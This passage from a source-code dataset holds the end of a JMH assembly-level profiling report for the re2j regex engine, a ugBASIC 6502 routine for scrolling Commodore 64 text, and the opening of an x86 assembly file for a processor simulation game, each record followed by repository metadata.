0.02% 0x00007f372cbe22fd: cmp %r11d,%ebp 0.04% 0.05% 0x00007f372cbe2300: jae 0x00007f372cbe2975 ;*aastore ; - com.google.re2j.Machine::free@49 (line 163) ; - com.google.re2j.Machine::step@393 (line 332) 0.42% 0.45% 0x00007f372cbe2306: mov %rcx,%r11 0x00007f372cbe2309: shr $0x3,%r11 0.01% 0.01% 0x00007f372cbe230d: lea (%r12,%rbx,8),%r10 ;*getfield pool ; - com.google.re2j.Machine::free@5 (line 160) ; - com.google.re2j.Machine::step@393 (line 332) 0.05% 0.09% 0x00007f372cbe2311: lea 0x10(%r10,%rbp,4),%r10 0.38% 0.47% 0x00007f372cbe2316: mov %r11d,(%r10) 0.03% 0.02% 0x00007f372cbe2319: shr $0x9,%r10 0.01% 0x00007f372cbe231d: movabs $0x7f37283f5000,%r11 0.04% 0.07% 0x00007f372cbe2327: mov %r12b,(%r11,%r10,1) ;*aastore ; - com.google.re2j.Machine::free@49 (line 163) ; - com.google.re2j.Machine::step@393 (line 332) 0.44% 0.50% 0x00007f372cbe232b: xor %r10d,%r10d ; OopMap{[8]=Oop [24]=Oop [40]=Oop off=366} ;*goto ; - com.google.re2j.Machine::step@399 (line 270) ↗ 0x00007f372cbe232e: test %eax,0x16015ccc(%rip) # 0x00007f3742bf8000 │ ;*goto │ ; - com.google.re2j.Machine::step@399 (line 270) │ ; {poll} 0.30% 0.21% │ 0x00007f372cbe2334: mov 0x8(%rsp),%r10 0.02% 0.07% │ 0x00007f372cbe2339: mov 0xc(%r10),%r10d 0.41% 0.57% │ 0x00007f372cbe233d: cmp %r10d,%eax 0.01% 0.00% │ 0x00007f372cbe2340: jge 0x00007f372cbe250c 0.40% 0.22% │ 0x00007f372cbe2346: mov %r9d,0x20(%rsp) 0.04% 0.02% │ 0x00007f372cbe234b: mov %eax,%r10d ;*aload_1 │ ; - com.google.re2j.Machine::step@21 (line 271) 0.42% 0.41% │ 0x00007f372cbe234e: mov 0x8(%rsp),%r11 0.00% │ 0x00007f372cbe2353: mov 0x10(%r11),%r11d ;*getfield dense │ ; - com.google.re2j.Machine::step@22 (line 271) 0.46% 0.35% │ 0x00007f372cbe2357: mov 0xc(%r12,%r11,8),%r9d ; implicit exception: dispatches to 0x00007f372cbe30a5 0.31% 0.24% │ 0x00007f372cbe235c: cmp %r9d,%r10d │ 0x00007f372cbe235f: jae 0x00007f372cbe286b 0.47% 0.40% │ 0x00007f372cbe2365: shl $0x3,%r11 │ 0x00007f372cbe2369: mov 0x10(%r11,%r10,4),%r11d ;*aaload │ ; - com.google.re2j.Machine::step@27 (line 271) 0.37% 0.23% │ 0x00007f372cbe236e: mov 0x10(%r12,%r11,8),%r8d ;*getfield thread │ ; - com.google.re2j.Machine::step@40 (line 275) │ ; implicit exception: dispatches to 0x00007f372cbe311d 0.63% 0.49% │ 0x00007f372cbe2373: mov %r10d,%eax 0.39% 0.37% │ 0x00007f372cbe2376: inc %eax ;*iadd │ ; - com.google.re2j.Machine::step@233 (line 298) │ 0x00007f372cbe2378: test %r8d,%r8d ╭│ 0x00007f372cbe237b: jne 0x00007f372cbe2389 ;*ifnonnull ││ ; - com.google.re2j.Machine::step@47 (line 276) 0.29% 0.16% ││ 0x00007f372cbe237d: mov 0x24(%rsp),%r10d 0.01% ││ 0x00007f372cbe2382: mov 0x20(%rsp),%r9d 0.06% 0.07% │╰ 0x00007f372cbe2387: jmp 0x00007f372cbe232e 0.19% 0.20% ↘ 0x00007f372cbe2389: mov 0x24(%rsp),%r11d 0.03% 0.06% 0x00007f372cbe238e: test %r11d,%r11d 0x00007f372cbe2391: jne 0x00007f372cbe2a8d ;*ifeq ; - com.google.re2j.Machine::step@55 (line 279) 0.33% 0.48% 0x00007f372cbe2397: mov 0x10(%r12,%r8,8),%r14d ;*getfield inst ; - com.google.re2j.Machine::step@101 (line 283) 0.82% 1.04% 0x00007f372cbe239c: mov 0x18(%r12,%r14,8),%edi ;*getfield runes ; - com.google.re2j.Machine::step@306 (line 314) ; implicit exception: dispatches to 0x00007f372cbe30ed 2.44% 3.26% 0x00007f372cbe23a1: mov 0xc(%r12,%r14,8),%ecx ;*getfield op ; - com.google.re2j.Machine::step@111 (line 285) 0.07% 0.05% 0x00007f372cbe23a6: mov 0xc(%r12,%r8,8),%ebx ;*getfield cap ; - com.google.re2j.Machine::step@168 (line 292) 0.02% 0.01% 0x00007f372cbe23ab: lea (%r12,%r8,8),%r11 ;*getfield thread ; - com.google.re2j.Machine::step@40 (line 275) 0x00007f372cbe23af: cmp $0x9,%ecx 0x00007f372cbe23b2: je 0x00007f372cbe222d 0.53% 0.68% 0x00007f372cbe23b8: cmp $0x9,%ecx 0x00007f372cbe23bb: jg 0x00007f372cbe2252 0.08% 0.10% 0x00007f372cbe23c1: cmp $0x7,%ecx 0x00007f372cbe23c4: je 0x00007f372cbe2b0d ;*tableswitch ; - com.google.re2j.Machine::step@114 (line 285) 0.55% 0.54% 0x00007f372cbe23ca: lea (%r12,%r14,8),%r9 ;*getfield inst ; - com.google.re2j.Machine::step@101 (line 283) 0x00007f372cbe23ce: cmp $0x7,%ecx ╭ 0x00007f372cbe23d1: jle 0x00007f372cbe244f ;*tableswitch │ ; - com.google.re2j.Machine::step@114 (line 285) 0.40% 0.44% │ 0x00007f372cbe23d3: mov 0xc(%r12,%rdi,8),%ebp ;*arraylength │ ; - com.google.re2j.Inst::matchRune@4 (line 49) │ ; - com.google.re2j.Machine::step@294 (line 310) │ ; implicit exception: dispatches to 0x00007f372cbe31b5 0.92% 0.98% │ 0x00007f372cbe23d8: cmp $0x1,%ebp │ 0x00007f372cbe23db: jne 0x00007f372cbe2d89 ;*if_icmpne │ ; - com.google.re2j.Inst::matchRune@6 (line 49) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.44% 0.47% │ 0x00007f372cbe23e1: test %ebp,%ebp │ 0x00007f372cbe23e3: jbe 0x00007f372cbe2be5 0.12% 0.08% │ 0x00007f372cbe23e9: mov 0x10(%r12,%rdi,8),%edi ;*iaload │ ; - com.google.re2j.Inst::matchRune@14 (line 50) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.02% 0.00% │ 0x00007f372cbe23ee: mov 0x20(%rsp),%ecx │ 0x00007f372cbe23f2: cmp %edi,%ecx │ 0x00007f372cbe23f4: je 0x00007f372cbe2858 ;*if_icmpne │ ; - com.google.re2j.Inst::matchRune@18 (line 51) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.49% 0.53% │ 0x00007f372cbe23fa: mov $0x1,%ebp 0.02% 0.01% │ 0x00007f372cbe23ff: and 0x14(%r12,%r14,8),%ebp ;*iand │ ; - com.google.re2j.Inst::matchRune@28 (line 54) │ ; - com.google.re2j.Machine::step@294 (line 310) │ 0x00007f372cbe2404: test %ebp,%ebp │ 0x00007f372cbe2406: je 0x00007f372cbe2e71 ;*ifeq │ ; - com.google.re2j.Inst::matchRune@29 (line 54) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.00% │ 0x00007f372cbe240c: mov %edi,0x20(%rsp) 0.49% 0.57% │ 0x00007f372cbe2410: mov %r9,%rsi 0.01% │ 0x00007f372cbe2413: mov %r11,%r13 │ 0x00007f372cbe2416: mov %ebx,%edi 0.01% │ 0x00007f372cbe2418: mov %eax,0x7c(%rsp) 0.46% 0.46% │ 0x00007f372cbe241c: mov %r8d,%ebx 0.02% 0.00% │ 0x00007f372cbe241f: mov %r10d,0x74(%rsp) │ 0x00007f372cbe2424: movabs $0x76dd0c420,%r9 ; {oop(a {type array int}[63] )} │ 0x00007f372cbe242e: mov $0x1f,%edx 0.38% 0.41% │ 0x00007f372cbe2433: mov $0x1f,%r8d 0.01% │ 0x00007f372cbe2439: xor %r10d,%r10d │ 0x00007f372cbe243c: mov $0x3f,%r11d 0.01% │ 0x00007f372cbe2442: mov %r10d,%eax 0.51% 0.38% │ 0x00007f372cbe2445: vmovd %r11d,%xmm0 0.01% 0.00% │ 0x00007f372cbe244a: jmpq 0x00007f372cbe2551 ↘ 0x00007f372cbe244f: cmp $0x6,%ecx 0x00007f372cbe2452: jne 0x00007f372cbe2b0d ;*tableswitch ; - com.google.re2j.Machine::step@114 (line 285) 0x00007f372cbe2458: mov 0x78(%rsp),%edi 0.00% 0x00007f372cbe245c: cmp $0x2,%edi 0x00007f372cbe245f: je 0x00007f372cbe2836 ;*aload ; - com.google.re2j.Machine::step@166 (line 292) 0x00007f372cbe2465: mov 0xc(%r12,%rbx,8),%edx ;*arraylength ; - com.google.re2j.Machine::step@171 (line 292) ; implicit exception: dispatches to 0x00007f372cbe31d5 0x00007f372cbe246a: test %edx,%edx 0x00007f372cbe246c: jle 0x00007f372cbe24f5 ;*ifle ; - com.google.re2j.Machine::step@172 (line 292) 0x00007f372cbe2472: cmp $0x1,%edx 0x00007f372cbe2475: jbe 0x00007f372cbe2e09 .................................................................................................... 16.69% 17.86% <total for region 4> ....[Hottest Region 5].............................................................................. C2, level 4, com.google.re2j.Machine::add, version 487 (333 bytes) 0x00007f372cbd5962: mov %r10,(%rsp) 0x00007f372cbd5966: nop 0x00007f372cbd5967: callq 0x00007f372ca0d020 ; OopMap{off=1068} ;*invokespecial add ; - com.google.re2j.Machine::add@203 (line 372) ; {optimized virtual_call} ╭ 0x00007f372cbd596c: jmpq 0x00007f372cbd5aae │ 0x00007f372cbd5971: mov 0x70(%rsp),%rax │╭ 0x00007f372cbd5976: jmpq 0x00007f372cbd5aae ;*tableswitch ││ ; - com.google.re2j.Machine::add@40 (line 352) 2.15% 1.95% ││ 0x00007f372cbd597b: mov 0x8(%rsp),%rsi 0.61% 0.27% ││ 0x00007f372cbd5980: mov 0x48(%rsp),%rdx 0.09% 0.00% ││ 0x00007f372cbd5985: mov 0x1c(%rsp),%r8d 0.03% 0.01% ││ 0x00007f372cbd598a: mov 0x20(%rsp),%r9 0.34% 0.16% ││ 0x00007f372cbd598f: mov 0x28(%rsp),%edi 0.00% ││ 0x00007f372cbd5993: mov 0x70(%rsp),%r10 0.06% 0.01% ││ 0x00007f372cbd5998: mov %r10,(%rsp) 0.33% 0.02% ││ 0x00007f372cbd599c: mov %rsi,%rbp 0.31% 0.11% ││ 0x00007f372cbd599f: mov %rax,0x38(%rsp) 0.05% ││ 0x00007f372cbd59a4: data16 xchg %ax,%ax ││ 0x00007f372cbd59a7: callq 0x00007f372ca0d020 ; OopMap{rbp=Oop [32]=Oop [44]=NarrowOop [56]=Oop [72]=Oop off=1132} ││ ;*invokespecial add ││ ; - com.google.re2j.Machine::add@127 (line 361) ││ ; {optimized virtual_call} 0.01% 0.02% ││ 0x00007f372cbd59ac: mov 0x2c(%rsp),%r10d 0.09% 0.10% ││ 0x00007f372cbd59b1: mov 0x14(%r12,%r10,8),%ecx ;*getfield arg ││ ; - com.google.re2j.Machine::add@136 (line 362) 0.28% 0.34% ││ 0x00007f372cbd59b6: mov %rbp,%rsi 0.01% 0.01% ││ 0x00007f372cbd59b9: mov 0x48(%rsp),%rdx 0.01% 0.02% ││ 0x00007f372cbd59be: mov 0x1c(%rsp),%r8d 0.07% 0.04% ││ 0x00007f372cbd59c3: mov 0x20(%rsp),%r9 0.23% 0.36% ││ 0x00007f372cbd59c8: mov 0x28(%rsp),%edi 0.02% 0.01% ││ 0x00007f372cbd59cc: mov %rax,(%rsp) 0.01% 0.03% ││ 0x00007f372cbd59d0: data16 xchg %ax,%ax 0.05% 0.05% ││ 0x00007f372cbd59d3: callq 0x00007f372ca0d020 ; OopMap{off=1176} ││ ;*invokespecial add ││ ; - com.google.re2j.Machine::add@146 (line 362) ││ ; {optimized virtual_call} 0.03% 0.03% ││╭ 0x00007f372cbd59d8: jmpq 0x00007f372cbd5aae ;*aload │││ ; - com.google.re2j.Machine::add@293 (line 391) 1.63% 1.55% │││ 0x00007f372cbd59dd: mov 0x70(%rsp),%rbp 0.02% 0.02% │││ 0x00007f372cbd59e2: test %rbp,%rbp │││╭ 0x00007f372cbd59e5: jne 0x00007f372cbd5aba ;*ifnonnull ││││ ; - com.google.re2j.Machine::add@295 (line 391) 0.01% 0.00% ││││ 0x00007f372cbd59eb: mov 0x8(%rsp),%r10 0.03% 0.03% ││││ 0x00007f372cbd59f0: mov 0xc(%r10),%r11d ;*getfield poolSize ││││ ; - com.google.re2j.Machine::alloc@1 (line 148) ││││ ; - com.google.re2j.Machine::add@301 (line 392) 0.40% 0.32% ││││ 0x00007f372cbd59f4: test %r11d,%r11d ││││ 0x00007f372cbd59f7: jle 0x00007f372cbd5b5d ;*ifle ││││ ; - com.google.re2j.Machine::alloc@4 (line 148) ││││ ; - com.google.re2j.Machine::add@301 (line 392) 0.02% 0.03% ││││ 0x00007f372cbd59fd: mov 0x24(%r10),%r8d ;*getfield pool ││││ ; - com.google.re2j.Machine::alloc@18 (line 150) ││││ ; - com.google.re2j.Machine::add@301 (line 392) 0.01% 0.01% ││││ 0x00007f372cbd5a01: mov %r11d,%ebp 0.01% 0.02% ││││ 0x00007f372cbd5a04: dec %ebp ;*isub ││││ ; - com.google.re2j.Machine::alloc@13 (line 149) ││││ ; - com.google.re2j.Machine::add@301 (line 392) 0.46% 0.35% ││││ 0x00007f372cbd5a06: mov %ebp,0xc(%r10) ;*putfield poolSize ││││ ; - com.google.re2j.Machine::alloc@14 (line 149) ││││ ; - com.google.re2j.Machine::add@301 (line 392) 0.03% 0.01% ││││ 0x00007f372cbd5a0a: mov 0xc(%r12,%r8,8),%r10d ; implicit exception: dispatches to 0x00007f372cbd5c61 0.01% 0.01% ││││ 0x00007f372cbd5a0f: cmp %r10d,%ebp ││││ 0x00007f372cbd5a12: jae 0x00007f372cbd5b02 0.01% 0.02% ││││ 0x00007f372cbd5a18: lea (%r12,%r8,8),%r10 0.34% 0.31% ││││ 0x00007f372cbd5a1c: mov 0xc(%r10,%r11,4),%r11d ;*aaload ││││ ; - com.google.re2j.Machine::alloc@25 (line 150) ││││ ; - com.google.re2j.Machine::add@301 (line 392) 0.01% 0.01% ││││ 0x00007f372cbd5a21: mov %r9d,0x10(%r12,%r11,8) ;*putfield inst ││││ ; - com.google.re2j.Machine::alloc@45 (line 154) ││││ ; - com.google.re2j.Machine::add@301 (line 392) ││││ ; implicit exception: dispatches to 0x00007f372cbd5c71 0.02% 0.02% ││││ 0x00007f372cbd5a26: lea (%r12,%r11,8),%rbp ;*aaload ││││ ; - com.google.re2j.Machine::alloc@25 (line 150) ││││ ; - com.google.re2j.Machine::add@301 (line 392) 0.02% 0.01% ││││ 0x00007f372cbd5a2a: mov %rbp,%r10 0.43% 0.46% ││││ 0x00007f372cbd5a2d: shr $0x9,%r10 0.00% 0.01% ││││ 0x00007f372cbd5a31: movabs $0x7f37283f5000,%r11 0.02% 0.02% ││││ 0x00007f372cbd5a3b: mov %r12b,(%r11,%r10,1) ;*aload ││││ ; - com.google.re2j.Machine::add@316 (line 396) 0.07% 0.09% ││││ ↗ 0x00007f372cbd5a3f: mov 0x20(%rsp),%rdi 0.43% 0.35% ││││ │ 0x00007f372cbd5a44: mov 0xc(%rdi),%r10d ;*arraylength ││││ │ ; - com.google.re2j.Machine::add@318 (line 396) ││││ │ ; implicit exception: dispatches to 0x00007f372cbd5c51 0.01% 0.00% ││││ │ 0x00007f372cbd5a48: test %r10d,%r10d ││││ │ 0x00007f372cbd5a4b: jle 0x00007f372cbd5b42 ;*ifle ││││ │ ; - com.google.re2j.Machine::add@319 (line 396) 0.01% 0.01% ││││ │ 0x00007f372cbd5a51: mov 0xc(%rbp),%r8d ;*getfield cap ││││ │ ; - com.google.re2j.Machine::add@324 (line 396) 0.07% 0.02% ││││ │ 0x00007f372cbd5a55: mov %r8,%r11 0.40% 0.31% ││││ │ 0x00007f372cbd5a58: shl $0x3,%r11 0.01% 0.02% ││││ │ 0x00007f372cbd5a5c: cmp %rdi,%r11 ││││╭│ 0x00007f372cbd5a5f: je 0x00007f372cbd5a8c ;*if_acmpeq ││││││ ; - com.google.re2j.Machine::add@329 (line 396) 0.00% 0.00% ││││││ 0x00007f372cbd5a61: mov 0xc(%r12,%r8,8),%r11d ; implicit exception: dispatches to 0x00007f372cbd5c85 0.09% 0.07% ││││││ 0x00007f372cbd5a66: lea (%r12,%r8,8),%rcx ;*getfield cap ││││││ ; - com.google.re2j.Machine::add@324 (line 396) 0.42% 0.39% ││││││ 0x00007f372cbd5a6a: cmp %r10d,%r11d ││││││ 0x00007f372cbd5a6d: jb 0x00007f372cbd5b1d 0.10% 0.10% ││││││ 0x00007f372cbd5a73: lea 0x10(%r12,%r8,8),%rsi 0.00% ││││││ 0x00007f372cbd5a78: add $0x10,%rdi 0.06% 0.01% ││││││ 0x00007f372cbd5a7c: movslq %r10d,%rdx 0.29% 0.18% ││││││ 0x00007f372cbd5a7f: movabs $0x7f372ca19640,%r10 0.07% 0.09% ││││││ 0x00007f372cbd5a89: callq *%r10 ;*aload ││││││ ; - com.google.re2j.Machine::add@347 (line 399) ││││↘│ 0x00007f372cbd5a8c: mov %rbx,%r10 0.03% 0.06% ││││ │ 0x00007f372cbd5a8f: mov %rbp,%r8 0.08% 0.05% ││││ │ 0x00007f372cbd5a92: shr $0x3,%r8 0.43% 0.05% ││││ │ 0x00007f372cbd5a96: mov %r8d,0x10(%rbx) 0.00% ││││ │ 0x00007f372cbd5a9a: shr $0x9,%r10 0.03% 0.08% ││││ │ 0x00007f372cbd5a9e: movabs $0x7f37283f5000,%r11 0.08% 0.07% ││││ │ 0x00007f372cbd5aa8: mov %r12b,(%r11,%r10,1) ;*putfield thread ││││ │ ; - com.google.re2j.Machine::add@351 (line 399) 0.38% 0.09% ││││ │ 0x00007f372cbd5aac: xor %eax,%eax ;*synchronization entry ││││ │ ; - com.google.re2j.Machine::add@-1 (line 344) 0.38% 0.60% ↘↘↘│ │ 0x00007f372cbd5aae: add $0x60,%rsp 0.11% 0.12% │ │ 0x00007f372cbd5ab2: pop %rbp 0.37% 0.55% │ │ 0x00007f372cbd5ab3: test %eax,0x16022547(%rip) # 0x00007f3742bf8000 │ │ ; {poll_return} 0.41% 0.42% │ │ 0x00007f372cbd5ab9: retq 0.01% 0.01% ↘ │ 0x00007f372cbd5aba: mov %r9d,%r11d │ 0x00007f372cbd5abd: mov %r11d,0x10(%rbp) │ 0x00007f372cbd5ac1: mov %rbp,%r10 │ 0x00007f372cbd5ac4: shr $0x9,%r10 0.00% │ 0x00007f372cbd5ac8: movabs $0x7f37283f5000,%r11 │ 0x00007f372cbd5ad2: mov %r12b,(%r11,%r10,1) ;*putfield inst │ ; - com.google.re2j.Machine::add@313 (line 394) ╰ 0x00007f372cbd5ad6: jmpq 0x00007f372cbd5a3f ;*tableswitch ; - com.google.re2j.Machine::add@40 (line 352) 0x00007f372cbd5adb: mov 0x8(%rsp),%rsi 0x00007f372cbd5ae0: mov 0x48(%rsp),%rdx 0x00007f372cbd5ae5: mov 0x1c(%rsp),%r8d 0x00007f372cbd5aea: mov 0x20(%rsp),%r9 0x00007f372cbd5aef: mov 0x70(%rsp),%r10 0x00007f372cbd5af4: mov %r10,(%rsp) .................................................................................................... 12.65% 10.50% <total for region 5> ....[Hottest Regions]............................................................................... 19.81% 25.12% C2, level 4 com.google.re2j.Machine::step, version 495 (366 bytes) 19.06% 16.16% C2, level 4 com.google.re2j.Machine::add, version 487 (308 bytes) 17.83% 18.01% C2, level 4 com.google.re2j.Machine::step, version 495 (219 bytes) 16.69% 17.86% C2, level 4 com.google.re2j.Machine::step, version 495 (398 bytes) 12.65% 10.50% C2, level 4 com.google.re2j.Machine::add, version 487 (333 bytes) 4.04% 4.37% C2, level 4 com.google.re2j.Machine::match, version 534 (876 bytes) 3.14% 2.08% runtime stub StubRoutines::jint_disjoint_arraycopy (128 bytes) 1.47% 1.44% [kernel.kallsyms] [unknown] (6 bytes) 0.64% 0.46% C2, level 4 com.google.re2j.Machine::step, version 495 (72 bytes) 0.54% 0.61% C2, level 4 com.google.re2j.Machine::step, version 495 (9 bytes) 0.17% 0.02% [kernel.kallsyms] [unknown] (2 bytes) 0.16% 0.02% [kernel.kallsyms] [unknown] (47 bytes) 0.14% 0.03% [kernel.kallsyms] [unknown] (28 bytes) 0.14% 0.18% C2, level 4 com.google.re2j.Machine::step, version 495 (95 bytes) 0.10% 0.02% [kernel.kallsyms] [unknown] (14 bytes) 0.10% 0.03% [kernel.kallsyms] [unknown] (26 bytes) 0.07% 0.02% C2, level 4 com.google.re2j.Machine::init, version 548 (90 bytes) 0.06% 0.12% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_ (102 bytes) 0.06% 0.00% [kernel.kallsyms] [unknown] (59 bytes) 0.05% 0.00% [kernel.kallsyms] [unknown] (13 bytes) 3.07% 2.95% <...other 581 warm regions...> .................................................................................................... 100.00% 100.00% <totals> ....[Hottest Methods (after inlining)].............................................................. 55.67% 62.24% C2, level 4 com.google.re2j.Machine::step, version 495 31.72% 26.66% C2, level 4 com.google.re2j.Machine::add, version 487 4.08% 4.41% C2, level 4 com.google.re2j.Machine::match, version 534 3.83% 2.82% [kernel.kallsyms] [unknown] 3.14% 2.08% runtime stub StubRoutines::jint_disjoint_arraycopy 0.15% 0.04% C2, level 4 com.google.re2j.Machine::init, version 548 0.12% 0.06% C2, level 4 com.google.re2j.Matcher::find, version 558 0.10% 0.04% hsdis-amd64.so [unknown] 0.07% 0.13% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_ 0.06% 0.15% libc-2.26.so vfprintf 0.05% 0.02% C2, level 4 com.github.arnaudroger.re2j.Re2jFindRegex::testExp2, version 580 0.04% 0.08% libc-2.26.so _IO_fwrite 0.04% 0.06% libc-2.26.so __strlen_avx2 0.03% 0.04% libjvm.so _ZN12outputStream12do_vsnprintfEPcmPKcP13__va_list_tagbRm 0.03% 0.06% libjvm.so _ZN13xmlTextStream5writeEPKcm 0.03% 0.01% libjvm.so _ZN7Monitor6unlockEv 0.03% 0.07% libjvm.so _ZN10fileStream5writeEPKcm 0.03% 0.01% C2, level 4 java.util.Collections::shuffle, version 579 0.02% 0.01% libpthread-2.26.so __pthread_disable_asynccancel 0.02% 0.04% libjvm.so _ZN12outputStream15update_positionEPKcm 0.75% 0.63% <...other 110 warm methods...> .................................................................................................... 100.00% 99.66% <totals> ....[Distribution by Source]........................................................................ 91.82% 93.44% C2, level 4 3.83% 2.82% [kernel.kallsyms] 3.14% 2.08% runtime stub 0.59% 0.85% libjvm.so 0.32% 0.61% libc-2.26.so 0.11% 0.04% hsdis-amd64.so 0.09% 0.10% libpthread-2.26.so 0.04% 0.03% interpreter 0.02% 0.01% [vdso] 0.02% 0.02% C1, level 3 0.00% Unknown, level 0 .................................................................................................... 100.00% 100.00% <totals> # Run complete. Total time: 00:00:45 Benchmark Mode Cnt Score Error Units Re2jFindRegex.testExp2 thrpt 20 2677.299 ± 62.453 ops/s Re2jFindRegex.testExp2:·asm thrpt NaN ---
83.833155
182
0.422497
322a4442f805168612b9a1d3911ea7bad68e9447
3,871
asm
Assembly
ugbc/src/hw/vic2/vscroll_text_up.asm
spotlessmind1975/ugbasic
1df3c8fde8e80b479ece86b4ff2b97b599d57ff4
[ "Apache-2.0" ]
10
2021-10-03T13:44:25.000Z
2022-03-10T23:53:32.000Z
ugbc/src/hw/vic2/vscroll_text_up.asm
spotlessmind1975/ugbasic
1df3c8fde8e80b479ece86b4ff2b97b599d57ff4
[ "Apache-2.0" ]
379
2021-08-12T09:46:09.000Z
2022-03-27T11:29:12.000Z
ugbc/src/hw/vic2/vscroll_text_up.asm
spotlessmind1975/ugbasic
1df3c8fde8e80b479ece86b4ff2b97b599d57ff4
[ "Apache-2.0" ]
2
2021-11-08T19:37:50.000Z
2021-11-20T22:27:12.000Z
; /***************************************************************************** ; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ; ***************************************************************************** ; * Copyright 2021-2022 Marco Spedaletti (asimov@mclink.it) ; * ; * Licensed under the Apache License, Version 2.0 (the "License"); ; * you may not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an "AS IS" BASIS, ; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; *---------------------------------------------------------------------------- ; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 ; * (la "Licenza"); è proibito usare questo file se non in conformità alla ; * Licenza. Una copia della Licenza è disponibile all'indirizzo: ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Se non richiesto dalla legislazione vigente o concordato per iscritto, ; * il software distribuito nei termini della Licenza è distribuito ; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o ; * implicite. Consultare la Licenza per il testo specifico che regola le ; * autorizzazioni e le limitazioni previste dalla medesima. ; ****************************************************************************/ ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ;* * ;* VERTICAL SCROLL ON VIC-II * ;* * ;* by Marco Spedaletti * ;* * ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * VSCROLLTUP: TXA PHA TYA PHA LDA TEXTADDRESS STA COPYOFTEXTADDRESS LDA TEXTADDRESS+1 STA COPYOFTEXTADDRESS+1 CLC LDA TEXTADDRESS ADC #40 STA COPYOFTEXTADDRESS2 LDA TEXTADDRESS+1 ADC #0 STA COPYOFTEXTADDRESS2+1 LDX #3 LDY #0 VSCROLLTUPYSCR: LDA (COPYOFTEXTADDRESS2),Y STA (COPYOFTEXTADDRESS),Y INY BNE VSCROLLTUPYSCR INC COPYOFTEXTADDRESS+1 INC COPYOFTEXTADDRESS2+1 CPX #1 BNE VSCROLLTUPYSCRNXT VSCROLLTUPYSCR2: LDA (COPYOFTEXTADDRESS2),Y STA (COPYOFTEXTADDRESS),Y INY CPY #192 BNE VSCROLLTUPYSCR2 VSCROLLTUPYSCRNXT: DEX BNE VSCROLLTUPYSCR LDY #192 VSCROLLTUPREFILL: LDA #32 STA (COPYOFTEXTADDRESS),Y INY CPY #232 BNE VSCROLLTUPREFILL VSCROLLTUEND: LDA COLORMAPADDRESS STA COPYOFTEXTADDRESS LDA COLORMAPADDRESS+1 STA COPYOFTEXTADDRESS+1 CLC LDA COLORMAPADDRESS ADC #40 STA COPYOFTEXTADDRESS2 LDA COLORMAPADDRESS+1 ADC #0 STA COPYOFTEXTADDRESS2+1 LDX #3 LDY #0 VSCROLLTCUPYSCR: LDA (COPYOFTEXTADDRESS2),Y STA (COPYOFTEXTADDRESS),Y INY BNE VSCROLLTCUPYSCR INC COPYOFTEXTADDRESS+1 INC COPYOFTEXTADDRESS2+1 CPX #1 BNE VSCROLLTCUPYSCRNXT VSCROLLTCUPYSCR2: LDA (COPYOFTEXTADDRESS2),Y STA (COPYOFTEXTADDRESS),Y INY CPY #192 BNE VSCROLLTCUPYSCR2 VSCROLLTCUPYSCRNXT: DEX BNE VSCROLLTCUPYSCR LDY #192 VSCROLLTCUPREFILL: LDA #32 STA (COPYOFTEXTADDRESS),Y INY CPY #232 BNE VSCROLLTCUPREFILL VSCROLLTCUEND: PLA TAY PLA TAX RTS
29.776923
80
0.548954
0f6ae220143bd909b8bc050029a7563d32b44771
31,187
asm
Assembly
Ex.asm
Ahmed-ata112/processor_simulation_game
e4222ab7974292b8b025cd5711ee1d1b10be4373
[ "MIT" ]
1
2022-02-28T15:44:58.000Z
2022-02-28T15:44:58.000Z
Ex.asm
Ahmed-ata112/processor_simulation_game
e4222ab7974292b8b025cd5711ee1d1b10be4373
[ "MIT" ]
null
null
null
Ex.asm
Ahmed-ata112/processor_simulation_game
e4222ab7974292b8b025cd5711ee1d1b10be4373
[ "MIT" ]
null
null
null
;; Hany-> command; ;; Mena -> second; ;EXTRN mainGame:_AX, _BX, _CX, _DX, _SI, _DI, _SP, _BP,_AL, _BL, _CL, _DL, _AH, _BH, _CH, _DH ;EXTRN mainGame:command ;EXTRN mainGame:_00,_01,_02,_03,_04,_05,_06,_07,_08,_09,_A,_B,_C,_D,_E,_F ;PUBLIC result ;include valid_in.inc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Hany split_operands MACRO source des1 des2 ; to split the two operand (des1->first oper && des2->second oper) mov SI,offset source mov DI,offset des1 mov al,',' MOV AH,'$' moving1: MOVSB CMP AH,[SI] JE FIN cmp al,[SI] jnz moving1 inc SI ;; to skip (,) mov DI,offset des2 mov al,'$' moving2: MOVSB cmp al,[SI] jnz moving2 FIN: dec di ; to remove enter mov [DI],AH ENDM split_operands ;; HASHING operand HASHING_op MACRO STR HASH local moving111 mov SI,offset STR mov DI, offset HASH mov al,'$' ;; to check END MOV [DI],0H MOV BX,[DI] MOV CL,[SI] MOV CH,00H ;; first time ADD BX,CX MOV [DI],BX MOV BX,[DI] MOV CL,[SI] ;; second time MOV CH,00H ADD BX,CX MOV [DI],BX moving111: MOV BX,[DI] MOV CL,[SI] MOV CH,00H ADD BX,CX ADD BX,CX ADD BX,CX MOV [DI],BX INC SI cmp al,[SI] jnz moving111 ENDM HASHING_op ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .MODEL SMALL .STACK 64 .DATA _AX dw 1234h _BX dw 50H _CX dw 2H _DX dw 1000H _SI dw ? _DI dw ? _SP dw ? _BP dw ? _00 db 56h _01 db 78H _02 db ? _03 db ? _04 db ? _05 db ? _06 db ? _07 db ? _08 db ? _09 db ? _A db ? _B db ? _C db ? _D db ? _E db ? _F db ? command_splited db 5 dup('$') Operand1 db 5 dup('$') Operand2 db 5 dup('$') Two_Operands_Together_splited db 10 dup('$') Operand2_Value dw ? Operand1_Value 